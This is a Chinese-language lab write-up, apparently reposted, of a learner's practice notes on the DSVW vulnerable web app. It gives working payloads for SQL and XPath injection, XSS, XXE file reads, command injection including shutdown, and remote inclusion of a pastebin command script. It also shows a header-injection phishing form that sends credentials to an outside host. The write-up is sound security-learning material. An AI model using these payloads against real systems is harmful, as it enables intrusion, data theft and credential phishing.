[NOTE] DSVW靶场练习笔记
[NOTE] DSVW靶場練習(xí)筆記
文章目錄
- [NOTE] DSVW靶場練習(xí)筆記
- 前言
- Blind SQL Injection (boolean)
- Blind SQL Injection (time)
- UNION SQL Injection
- Login Bypass
- HTTP Parameter Pollution
- Cross Site Scripting (reflected)
- Cross Site Scripting (stored)
- Cross Site Scripting (DOM)
- Cross Site Scripting (JSONP)
- XML External Entity (local)
- XML External Entity (remote)
- Server Side Request Forgery
- Blind XPath Injection (boolean)
- Cross Site Request Forgery
- Frame Injection (phishing)
- Frame Injection (content spoofing)
- Clickjacking
- Unvalidated Redirect
- Arbitrary Code Execution
- Full Path Disclosure
- Source Code Disclosure
- Path Traversal
- File Inclusion (remote)
- HTTP Header Injection (phishing)
- Component with Known Vulnerability (pickle)
- Denial of Service (memory)
- 靶場總結(jié)
- 源碼學(xué)習(xí)
前言
是針對DSVW靶場的練習(xí)筆記
是在搞完P(guān)ikachu靶場之后
在整理vulnstack的Web安全入門進(jìn)階靶場時(shí)發(fā)現(xiàn)的
里面版本比較老,就單獨(dú)搞出來玩玩
最新版本v0.2b用Python 3運(yùn)行
代碼很頂,只有不到100行的代碼
最后學(xué)習(xí)一下代碼
環(huán)境:Kali Linux 2021.2 x64 | Python 3.9.2
由于也接觸過幾個(gè)Web靶場了,有些常見漏洞點(diǎn)就不太提及了
各漏洞點(diǎn)后面的info,都來自于OWASP Web安全測試指引(WSTG)
但是靶場中指向的URL版本都比較老
這里是最新版的測試指引(后面可能也舊了嘻嘻)
Blind SQL Injection (boolean)
EZ(呃,被打臉了,所以前進(jìn)路上永不驕傲)
GET參數(shù)id為注入點(diǎn),輸入“’”的報(bào)錯(cuò)信息:
Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 30, in do_GETcursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"]) sqlite3.OperationalError: near "'": syntax error簡單驗(yàn)證payload:/?id=99 union select 1,2,3,4,判斷回顯4列
但是下面遇到難題了
因?yàn)槭荢QLite數(shù)據(jù)庫,所有很多函數(shù)和常識(shí)都不太清楚
出門吃癟,難受,學(xué)習(xí)去了
簡單學(xué)了下
爆庫:?id=99 union select type,name,tbl_name,sql from sqlite_master
sql字段返回表的結(jié)構(gòu)
爆users表:?id=99 union select id,username,name,password from users
最后試試sqlmap,隨便打
等一下,是盲注?這不全顯了嗎,服了= =
官方給的盲注payload:
/?id=2 and SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'
還是邏輯判斷、substr那一套
Blind SQL Injection (time)
一樣能直接全顯,但是要試試時(shí)間盲注
官方payload:
?id=(SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
要點(diǎn):
- 使用了case-when-then-else語句做選擇,起到類似于if-else的作用
- 休眠的語句:LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))
休眠語句還不太明白
UNION SQL Injection
union & union all
union內(nèi)部的select語句必須擁有相同數(shù)量的列
列也必須擁有相似的數(shù)據(jù)類型
同時(shí),每條select語句中的列的順序必須相同
union選取的是“集合”,值不重復(fù)
union all則會(huì)選取所有結(jié)果
就是這個(gè):
?id=99 union select id,username,name,password from users
官方payload:
/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
涉及到一個(gè)多列拼接成一個(gè)字符串的方法:||','||(大概是這樣吧)
Login Bypass
密碼打入單引號(hào):/login?username=admin&password='
報(bào)錯(cuò)信息:
Traceback (most recent call last):File "/usr/share/DSVW/dsvw.py", line 67, in do_GETcursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'") sqlite3.OperationalError: unrecognized token: "'''"繞過payload:/login?username=admin&password=' or '1'='1
HTTP Parameter Pollution
HTTP參數(shù)污染?沒聽過
先上網(wǎng)沖浪學(xué)習(xí)一波
又稱HPP,大概是請求參數(shù)中有兩個(gè)參數(shù)同名的話
不同Web服務(wù)器對其的處理規(guī)則不同
從而導(dǎo)致利用點(diǎn)出現(xiàn)
例如PHP/Apache里邊,會(huì)把最后一個(gè)同名參數(shù)作為傳參
http://www.xx.com/?id=1&id=' or '1'='1
有可能檢測到第一個(gè)id正常就通過,而傳入服務(wù)器的是后面的惡意參數(shù)
下面是具體不同Web服務(wù)器的處理方式:
| PHP/Apache | $_GET(“par”) | Last |
| JSP/Tomcat | Request.getParameter(“par”) | First |
| Perl(CGI)/Apache | Param(“par”) | First |
| Python/Apache | Getvalue(“par”) | All(List) |
| ASP/IIS | Request.QueryString(“par”) | All(comma-delimited string) |
通常可以被其他漏洞結(jié)合使用,如XSS
也常用于WAF Bypass
靶場使用Python語言寫的,所以對于多個(gè)重名參數(shù),后端會(huì)做拼接處理
所以就有了官方payload:
/login?username=admin&password='/*&password=*/OR/*&password=*/'1'/*&password=*/LIKE/*&password=*/'1
多個(gè)password參數(shù),拼接后變成:
'/**/OR/**/'1'/**/LIKE/**/'1
注釋做間隔,邏輯判斷為真,因此通過檢驗(yàn),繞過登錄
Cross Site Scripting (reflected)
有個(gè)GET的參數(shù)v,傳入內(nèi)容會(huì)在頁面最下面顯示
傳入<script>alert("XSS")</script>即彈窗
攻擊者準(zhǔn)備惡意服務(wù)器
準(zhǔn)備獲取cookie的接口、釣魚頁面、鍵盤記錄腳本等
構(gòu)造指向這些惡意攻擊的payload,形成釣魚鏈接誘惑受害者
Cross Site Scripting (stored)
存儲(chǔ)型,由于payload可以直接打入開放的頁面
所以無需太多社工,直接打入payload
每個(gè)瀏覽到的人都會(huì)中招
Cross Site Scripting (DOM)
DOM型,大致上和JS腳本動(dòng)態(tài)操縱HTML元素有關(guān)
頁面源碼找到相關(guān)的JS代碼:
if (index != -1) document.write('<div style="position: absolute; top: 5px; right: 5px;">Chosen language: <b>' + decodeURIComponent(document.location.hash.substring(index + 5)) + '</b></div>');大概就是根據(jù)GET參數(shù)lang來在頁面上動(dòng)態(tài)地寫入一個(gè)元素
根據(jù)上面的代碼去主動(dòng)閉合,有以下彈窗payload:
/?#lang=</b></div><script>alert("XSS")</script><div><b>
(官方payload好像不用主動(dòng)閉合也行)
Cross Site Scripting (JSONP)
沒聽說過
JSON with Padding是json的一種“使用模式”
可以讓網(wǎng)頁從別的域名(網(wǎng)站)那獲取資料,即跨域讀取數(shù)據(jù)
一個(gè)學(xué)習(xí)資料
大概就是由json格式封裝的一段js代碼
另外關(guān)于跨域的問題,很多標(biāo)簽里面的src屬性是不受同源策略限制的
一個(gè)漏洞示范:
echo $_GET['callback'] . '(' . $jsonData . ');';
大概就是callback參數(shù)傳遞函數(shù)名,后面的$jsonData傳遞函數(shù)參數(shù)
再配合恰當(dāng)?shù)腃ontent-Type頭,echo出來,就有可能形成XSS等漏洞
看看鏈接的URL:/users.json?callback=process
看看users.json的內(nèi)容,是一些用戶信息
在原頁面找到process函數(shù)的源碼:
function process(data) {alert("Surname(s) from JSON results: " + Object.keys(data).map(function(k) {return data[k]})); };然后官方的payload:
http://10.10.10.1:65412/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess
奇怪的是直接地址欄輸入不會(huì)引發(fā)彈窗,看看鏈接的onclick函數(shù):
function onclick(event) {var script = document.createElement('script');script.src = '/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false }可能還和DOM的使用有關(guān),emmmm
XML External Entity (local)
xml參數(shù)接收一段XML數(shù)據(jù)來解析,直接上payload(注意URL編碼):
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20author%20%5B%3C!ENTITY%20js%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Cauthor%3E%26js%3B%3C%2Fauthor%3E
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE author [<!ENTITY js SYSTEM "file:///etc/passwd">]><author>&js;</author>
實(shí)際上好像不用前面那段xml定義說明也OK?
另外shadow也能看到,權(quán)限真是高啊
XML External Entity (remote)
就是XXE能引用到遠(yuǎn)程的xml數(shù)據(jù),不限于攻擊者服務(wù)器上的惡意數(shù)據(jù)
Server Side Request Forgery
path參數(shù)接受一個(gè)資源,然后由服務(wù)器去請求,再回顯給用戶
file:///etc/passwd:請求服務(wù)器敏感數(shù)據(jù)
http://localhost:8878:探測本機(jī)或內(nèi)網(wǎng)端口,或者是訪問內(nèi)網(wǎng)站點(diǎn)
Blind XPath Injection (boolean)
XPath注入?沒聽說過
XPath的學(xué)習(xí)內(nèi)容搬到了另外的筆記
GET參數(shù)name
傳入admin,正常回顯
傳入' or '1'='1,也回顯了一個(gè)“vargas”,說明存在XPath注入
傳入',報(bào)錯(cuò),暴露查詢語句:
xpath(".//user[name/text()='%s']" % params["name"])
根據(jù)查詢語句構(gòu)造payload試圖暴庫:']|.//*|ss['
期待XPath查詢語句變成這樣:.//user[name/text()='']|.//*|ss['']
但是執(zhí)行還是報(bào)錯(cuò):
估計(jì)是只回顯某個(gè)用戶的surname字段,所以全部爆出來會(huì)出現(xiàn)元素定位錯(cuò)誤
那就按照題目意思去盲注
官方payload:?name=admin' and substring(password/text(),3,1)='n
.//user[name/text()='admin' and substring(password/text(),3,1)='n']
下面盲注猜解建議配合使用二分法
猜解當(dāng)前節(jié)點(diǎn)的元素個(gè)數(shù):
/?name=admin' and count(.//*)=4 and '1'='1
猜解第一個(gè)元素名稱的長度:
/?name=admin' and string-length(name(.//*[position()=1]))=8 and '1'='1
猜解第一個(gè)元素名稱的第一個(gè)字符:
/?name=admin' and substring(name(.//*[position()=1]),1,1)='u' and '1'='1
猜解第一個(gè)元素名稱:
/?name=admin' and name(.//*[position()=1])='username' and '1'='1
猜解第四個(gè)元素名稱:
/?name=admin' and name(.//*[position()=4])='password' and '1'='1
猜解第四個(gè)元素的值的長度:
/?name=admin' and string-length(.//password/text())=10 and '1'='1
猜解第四個(gè)元素的值的第一個(gè)字符(字符之間可以直接用大小與號(hào)比較):
/?name=admin' and substring(.//password/text(), 1, 1)='7' and '1'='1
猜解第四個(gè)元素的值:
/?name=admin' and .//password/text()='7en8aiDoh!' and '1'='1
以上盲注都是進(jìn)入到與’admin’有關(guān)的特定范圍
是使用.//來選取當(dāng)前節(jié)點(diǎn)
當(dāng)然也可以使用/來從根元素選取節(jié)點(diǎn)
完整的XML文件如下:
<?xml version="1.0" encoding="utf-8"?> <users><user id="0"><username>admin</username><name>admin</name><surname>admin</surname><password>7en8aiDoh!</password></user><user id="1"><username>dricci</username><name>dian</name><surname>ricci</surname><password>12345</password></user><user id="2"><username>amason</username><name>anthony</name><surname>mason</surname><password>gandalf</password></user><user id="3"><username>svargas</username><name>sandra</name><surname>vargas</surname><password>phest1945</password></user> </users>再注一下加深印象
只有一個(gè)根節(jié)點(diǎn):
/?name=admin' and count(/*)=1 and '1'='1
根節(jié)點(diǎn)名稱長度為5:
/?name=admin' and string-length(name(/*[position()=1]))=5 and '1'='1
根節(jié)點(diǎn)名稱第一個(gè)字符為‘u’:
/?name=admin' and substring(name(/*[position()=1]),1,1)='u' and '1'='1
根節(jié)點(diǎn)名稱為“users”:
/?name=admin' and name(/*[position()=1])='users' and '1'='1
根節(jié)點(diǎn)下面有4個(gè)節(jié)點(diǎn):
/?name=admin' and count(/users/*)=4 and '1'='1
/users下面第一個(gè)節(jié)點(diǎn)的名字是“user”:
/?name=admin' and name(/users/*[position()=1])='user' and '1'='1
第一個(gè)user節(jié)點(diǎn)下面有4個(gè)節(jié)點(diǎn):
/?name=admin' and count(/users/user[position()=1]/*)=4 and '1'='1
如果某一結(jié)點(diǎn)下面沒有子節(jié)點(diǎn),那么這樣子將會(huì)直接返回節(jié)點(diǎn)值:
/users/user[position()=1]/*[position()=1]匹配admin
因此葉子節(jié)點(diǎn)應(yīng)該這樣提取節(jié)點(diǎn)名稱:
name(/users/user[position()=1]/*[position()=1])
所以第一個(gè)user節(jié)點(diǎn)的第四個(gè)(葉子)節(jié)點(diǎn)長度為8:
/?name=admin' and string-length(name(/users/user[position()=1]/*[position()=4]))=8 and '1'='1
第一個(gè)user節(jié)點(diǎn)的第四個(gè)(葉子)節(jié)點(diǎn)名稱的第一個(gè)字符為‘p’:
/?name=admin' and substring(name(/users/user[position()=1]/*[position()=4]),1,1)='p' and '1'='1
第一個(gè)user節(jié)點(diǎn)的第四個(gè)(葉子)節(jié)點(diǎn)名稱為“password”
/?name=admin' and name(/users/user[position()=1]/*[position()=4])='password' and '1'='1
/users/user[position()=1]/*[position()=4]這個(gè)匹配到password的值
下略BLABLABLA
Cross Site Request Forgery
老實(shí)說,感覺這個(gè)漏洞演示做得并不算太好
因?yàn)镃SRF本質(zhì)上是“借”權(quán)限執(zhí)行非法操作
但是這個(gè)靶場本身的所有請求都沒有鑒權(quán)措施
再看看官方payload:
/?v=<img src="/?comment=<div style="color:red; font-weight: bold">I quit the job</div>">
一看,好像可以分成兩部分
一部分是外層的v參數(shù),這個(gè)參數(shù)在XSS里邊出現(xiàn)過
另一部分是里層的comment參數(shù),提交了CSRF漏洞本身頁面的參數(shù)
我是這樣理解的:
模擬的是用戶已經(jīng)有了提交comment參數(shù)的權(quán)限
但是這時(shí)候用戶接收到了釣魚鏈接,是一個(gè)XSS
點(diǎn)擊之后,無意間“被”提交了comment
從而模擬了“借權(quán)限”寫入數(shù)據(jù)
Frame Injection (phishing)
框架注入,沒了解過,上網(wǎng)學(xué)習(xí)
一個(gè)找到的學(xué)習(xí)鏈接
好像就是類似于XSS,或者說是它的一種攻擊情況
在網(wǎng)頁中注入含有惡意內(nèi)容的frame或iframe標(biāo)簽
框架注入攻擊允許黑客將用戶重定向到用于網(wǎng)絡(luò)釣魚和類似攻擊的其他惡意網(wǎng)站
可以考慮使用內(nèi)容安全策略(CSP)標(biāo)頭來防御此類攻擊
靶場接口也是簡單地GET傳遞v參數(shù),之前測試XSS的也是這里
官方payload:
/?v=0.2<iframe src="http://dsvw.c1.biz/i/login.html" style="background-color:white;z-index:10;top:10%;left:10%;position:fixed;border-collapse:collapse;border:1px solid #a8a8a8"></iframe>
后面還有一些樣式屬性
執(zhí)行效果為在頁面中間出現(xiàn)一個(gè)方框展現(xiàn)另一個(gè)站點(diǎn)的內(nèi)容
感覺和XSS差不多
估計(jì)可以指向惡意站點(diǎn)或加載惡意腳本,從而執(zhí)行惡意操作
Frame Injection (content spoofing)
官方payload:
/?v=0.2<iframe src="http://dsvw.c1.biz/" style="background-color:white;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" frameborder="0"></iframe>
和上一個(gè)的區(qū)別好像就是
惡意框架是覆蓋了整個(gè)原頁面
估計(jì)是想達(dá)成欺騙用戶的效果
上一個(gè)的phishing,是“網(wǎng)絡(luò)釣魚”的意思
這個(gè)content spoofing,是“內(nèi)容欺騙”的意思
好像都是釣魚?
Clickjacking
點(diǎn)擊劫持,大概也是XSS的一種利用形式吧,我猜的
官方payload:
/?v=0.2<div style="opacity:0;filter:alpha(opacity=20);background-color:#000;width:100%;height:100%;z-index:10;top:0;left:0;position:fixed;" onclick="document.location='http://dsvw.c1.biz/'"></div>
就是利用之前XSS的地方,往整個(gè)頁面上覆蓋了一個(gè)div標(biāo)簽
然后設(shè)置一點(diǎn)擊,就會(huì)跳到別的頁面
估計(jì)這樣達(dá)成刷流量或刷點(diǎn)擊率或執(zhí)行惡意腳本的目的
當(dāng)然這個(gè)onclick函數(shù)也可以設(shè)置成別的
但是覆蓋一層div之后,鼠標(biāo)放到藍(lán)鏈上不會(huì)有“小指頭”了
Unvalidated Redirect
不安全的URL跳轉(zhuǎn)
一個(gè)redir參數(shù)傳入要跳轉(zhuǎn)的URL,官方payload也是截向了別的網(wǎng)站
估計(jì)是可以給用戶控制,用正確的域名做釣魚鏈接,欺騙性比較好吧
Arbitrary Code Execution
任意代碼執(zhí)行
domain參數(shù)傳入一個(gè)域名,之后返回域名的IP信息:
Server: 10.10.10.254 Address: 10.10.10.254#53Non-authoritative answer: Name: www.google.com Address: 142.250.207.68看回顯,估計(jì)是系統(tǒng)執(zhí)行了類似dig www.google.com之類的命令吧
(當(dāng)然上面不像是dig命令后的回顯)
(后面看了看源碼,是nslookup)
于是可以試試傳參后面加;,再拼接別的命令試試
payload:/?domain=localhost;whoami
回顯:
存在任意命令執(zhí)行漏洞
然后關(guān)機(jī):/?domain=localhost;shutdown~
Shutdown scheduled for Wed 2021-12-01 15:35:14 CST, use 'shutdown -c' to cancel.
趕緊取消
皮一下
Full Path Disclosure
絕對路徑暴露?
好像傳入不同的絕對路徑,會(huì)告訴你“路徑/文件不存在”或“XXX是一個(gè)文件夾”等
從而目錄遍歷?
Source Code Disclosure
呃,傳入path參數(shù)為/usr/share/DSVW/dsvw.py就爆出了頁面源碼
我愿意稱之為敏感信息暴露或任意文件訪問
Path Traversal
路徑穿越
傳入path參數(shù)為../../../../../../../../etc/passwd
類似于上面兩個(gè),估計(jì)是想突出“dot-dot-slash”在文件訪問的對外接口中可用
File Inclusion (remote)
遠(yuǎn)程文件包含
直接給include參數(shù)去包含遠(yuǎn)程腳本,好啊
官方payload:
/?include=http://pastebin.com/raw.php?i=6VyyNNhc&cmd=ifconfig
從而執(zhí)行遠(yuǎn)程腳本
這里只能包含(Python)腳本文件
文本文件如passwd會(huì)報(bào)Python語法錯(cuò)誤
關(guān)于這個(gè)http://pastebin.com/raw.php?i=6VyyNNhc:
import re import subprocess import urllib.parseparams = dict((match.group("parameter"), urllib.parse.unquote(match.group("value"))) for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&]+)", QUERY_STRING))if "cmd" in params:result = subprocess.check_output(params["cmd"], shell=True, stderr=subprocess.STDOUT)print("<pre>%s</pre>" % result.decode())接受一個(gè)cmd參數(shù)去執(zhí)行命令
HTTP Header Injection (phishing)
HTTP頭注入-釣魚版
一個(gè)GET的charset參數(shù),接受字符集參數(shù)(實(shí)際上什么都行)
傳過去之后,會(huì)直接拼接在返回包的Content-Type頭里邊:
Content-Type: text/html; charset=utf8
值得注意的是,是拼接在HTTP返回頭的最后面的,再下面就是空行以及返回體了
于是有了官方payload:
/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
解碼一下,就是:
/?charset=utf8 X-XSS-Protection:0 Content-Length:388<!DOCTYPE html><html><head><title>Login</title></head><body style='font: 12px monospace'><form action="http://dsvw.c1.biz/i/log.php" onSubmit="alert('visit \'http://dsvw.c1.biz/i/log.txt\' to see your phished credentials')">Username:<br><input type="text" name="username"><br>Password:<br><input type="password" name="password"><input type="submit" value="Login"></form></body></html>于是拼接之后,檢測到空行,就默認(rèn)讀到了返回體
于是就回顯了payload構(gòu)造的HTML內(nèi)容
于是就形成了釣魚的效果
就是說可以對于參數(shù)拼接到返回頭的,要特別小心
可能會(huì)被控制返回的HTML內(nèi)容
而域名是正確的
可能會(huì)被釣魚
Component with Known Vulnerability (pickle)
不安全組件(pickle?)
這個(gè)需要雄厚的第三方組件或者是CVE的知識(shí)= =
pickle是Python標(biāo)準(zhǔn)庫,用于實(shí)現(xiàn)Python對象的二進(jìn)制序列化和反序列化
官方文檔
“pickling” 是將 Python 對象及其所擁有的層次結(jié)構(gòu)轉(zhuǎn)化為一個(gè)字節(jié)流的過程,而 “unpickling” 是相反的操作,會(huì)將(來自一個(gè) binary file 或者 bytes-like object 的)字節(jié)流轉(zhuǎn)化回一個(gè)對象層次結(jié)構(gòu)。
關(guān)于pickle模塊的缺陷,官方簡要解釋如下:
警告
pickle 模塊并不安全。你只應(yīng)該對你信任的數(shù)據(jù)進(jìn)行unpickle操作。
構(gòu)建惡意的 pickle 數(shù)據(jù)來在解封時(shí)執(zhí)行任意代碼是可能的。絕對不要對不信任來源的數(shù)據(jù)和可能被篡改過的數(shù)據(jù)進(jìn)行解封。
請考慮使用 hmac 來對數(shù)據(jù)進(jìn)行簽名,確保數(shù)據(jù)沒有被篡改。
在你處理不信任數(shù)據(jù)時(shí),更安全的序列化格式如 json 可能更為適合。參見 與 json 模塊的比較 。
源碼的一處相關(guān)代碼:
content = str(pickle.loads(params["object"].encode()))
估計(jì)是執(zhí)行一個(gè)反序列化的過程
Denial of Service (memory)
DOS!
一個(gè)size參數(shù),傳入32的返回:
Time required (to 'resize image' to 32x32): 0.000009 seconds
估計(jì)會(huì)根據(jù)參數(shù)調(diào)用服務(wù)器資源去生成圖片
要是參數(shù)過大,則會(huì)過分消耗服務(wù)器資源,形成DOS
點(diǎn)擊官方payload后,頁面長時(shí)間不回應(yīng),斷開了連接,系統(tǒng)也變卡
算是提供了一個(gè)防御惡意DOS的方向
注意合理控制用戶對系統(tǒng)資源的消耗
靶場總結(jié)
還算可以,補(bǔ)充了一些Web漏洞知識(shí),特別是XPath注入
但是靶場太“精致”了,很多漏洞點(diǎn)的演示過于簡單
一些利用場景要求學(xué)習(xí)者有一定基礎(chǔ)才可能理解出來
最后再感嘆一下代碼之精簡,不到一百行就整了個(gè)靶場
(雖然很多地方重用,但還是可以加深下各漏洞的對比和理解)
源碼學(xué)習(xí)
源碼不放了,這里
(值得注意的是這個(gè)靶場的作者就是sqlmap的作者,NB)
剛認(rèn)真看了下。。。。
感覺也不用可以去學(xué)?
感覺這種刻意壓縮編碼的感覺。。。。
算了算了,學(xué)學(xué)HTTP服務(wù)相關(guān)吧
總結(jié)
以上是生活随笔為你收集整理的[NOTE] DSVW靶场练习笔记的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python装饰器学习笔记
- 下一篇: [NOTE] XVWA靶场练习笔记